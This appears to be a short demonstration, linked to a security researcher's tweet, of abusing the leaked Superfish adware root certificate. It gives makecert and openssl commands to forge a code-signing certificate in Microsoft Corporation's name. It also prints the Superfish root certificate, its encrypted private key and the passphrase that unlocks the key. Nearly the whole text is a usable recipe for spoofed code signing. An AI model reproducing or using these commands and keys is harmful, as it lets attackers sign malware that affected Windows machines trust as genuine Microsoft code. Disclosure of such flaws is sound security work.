https://twitter.com/ericlaw/status/569077424673009665

Generate a phony "Microsoft Corporation" code-signing certificate:
  makecert -pe -ss my -n "CN=Microsoft Corporation" -sky exchange -ic C:\users\lawrence\desktop\superfishroot.cer -iv C:\src\superfish.pvk -eku 1.3.6.1.5.5.7.3.3 -cy end -a sha1

Use the cert portion of the PeM below and use it as superfish.cer.
Save the private key portion of the PEM below to superfishkey.pem and use it to generate a PVK file:
  openssl.exe rsa -inform pem -in C:\src\superfishkey.pem -outform pvk -out superfish.pvk
  Enter pass phrase for C:\src\superfishkey.pem: komodia
  writing RSA key

-----BEGIN CERTIFICATE-----
MIIC9TCCAl6gAwIBAgIJANL8E4epRNznMA0GCSqGSIb3DQEBBQUAMFsxGDAWBgNV
BAoTD1N1cGVyZmlzaCwgSW5jLjELMAkGA1UEBxMCU0YxCzAJBgNVBAgTAkNBMQsw
CQYDVQQGEwJVUzEYMBYGA1UEAxMPU3VwZXJmaXNoLCBJbmMuMB4XDTE0MDUxMjE2
MjUyNloXDTM0MDUwNzE2MjUyNlowWzEYMBYGA1UEChMPU3VwZXJmaXNoLCBJbmMu
MQswCQYDVQQHEwJTRjELMAkGA1UECBMCQ0ExCzAJBgNVBAYTAlVTMRgwFgYDVQQD
Ew9TdXBlcmZpc2gsIEluYy4wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAOjz
Shh2Xxk/sc9Y6X9DBwmVgDXFD/5xMSeBmRImIKXfj2r8QlU57gk4idngNsSsAYJb
1Tnm+Y8HiN/+7vahFM6pdEXY/fAXVyqC4XouEpNarIrXFWPRt5tVgA9YvBxJ7SBi
3bZMpTrrHD2g/3pxptMQeDOuS8Ic/ZJKocPnQaQtAgMBAAGjgcAwgb0wDAYDVR0T
BAUwAwEB/zAdBgNVHQ4EFgQU+5izU38URC7o7tUJml4OVoaoNYgwgY0GA1UdIwSB
hTCBgoAU+5izU38URC7o7tUJml4OVoaoNYihX6RdMFsxGDAWBgNVBAoTD1N1cGVy
ZmlzaCwgSW5jLjELMAkGA1UEBxMCU0YxCzAJBgNVBAgTAkNBMQswCQYDVQQGEwJV
UzEYMBYGA1UEAxMPU3VwZXJmaXNoLCBJbmMuggkA0vwTh6lE3OcwDQYJKoZIhvcN
AQEFBQADgYEApHyg7ApKx3DEcWjzOyLi3JyN0JL+c35yK1VEmxu0Qusfr76645Oj
1IsYwpTws6a9ZTRMzST4GQvFFQra81eLqYbPbMPuhC+FCxkUF5i0DNSWi+kczJXJ
TtCqSwGl9t9JEoFqvtW+znZ9TqyLiOMw7TGEUI+88VAqW0qmXnwPcfo=
-----END CERTIFICATE-----
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIICxjBABgkqhkiG9w0BBQ0wMzAbBgkqhkiG9w0BBQwwDgQIDHHhyAEZQoICAggA
MBQGCCqGSIb3DQMHBAiHEg+MCYQ30ASCAoDEvGvFRHvtWOb5Rc0f3lbVKqeUvWSz
xQn+rZELHnwb6baolmbFcsi6XkacVzL/EF7Ll4de/CSQ6pZZCCvfDzov0mPOuGve
SAe7hbAcol7+JWVfzbnVTblPf0i7mwSvK61cKq7YfcKJ2os/uJGpeX9zraywWyFx
f+EdTr348dOez8uHkURyY1cvSHsIdITALkChOonAYT68SVighTeB6xOCwfmsHx+X
3Qbhom2YCIxfJiaAoz2/LndCpDaEfOrVrxXFOKXrIbmeDEyjDQj16AVni9uuaj7l
NiO3zrrqxsfdVINPaAYRKQnS102jXqkH01z72c/MpMMC6dwZswF5V3R7RSXngyBn
1GLxVFHKR753Gt0IDag13Bd8Jt890/v0tE0Kx66jCkRGn+VCq6+bsnh7VpTH/cG5
dlFnv56lv2leknu5ghdJHX8YQ6HjnioaaheLA+ORAxqAlD8Itt1/pRBOOMSkutdz
d1px9dB2ZBpSoRAOcBwU5aFaw9uu+tXyzrPM3tZomu8ryQYMNlmVgPNDJOz6jPJi
jaZHWTS7U6j370oH/B0KTUG/ybrJGFnOmPP4h2u/ugG75EkfotURsvbrWuetQhOi
TCH+9nbIcT3pxnTXqI2IRHZXMturQ+6fqlJF3bb9bWarMBuC3KgprqyqXxeM0Sqg
VlyKLWwAuMf2Ec7t7ujqaNmVgv6bpwHEbR6njIi7lC7j4w6D2YQ8vacgvS3MB/K0
SX54HNVBVuXhAixPtYJ6tOBGm7QFAKaXju0PJ+AljnMEsHRekOs2u42OHBXEWDE8
VHw7/lTXWsJkBcQM+g/svyqV4xKHDAixPms2SUwJyKjvEgV+CQok4F/T
-----END ENCRYPTED PRIVATE KEY-----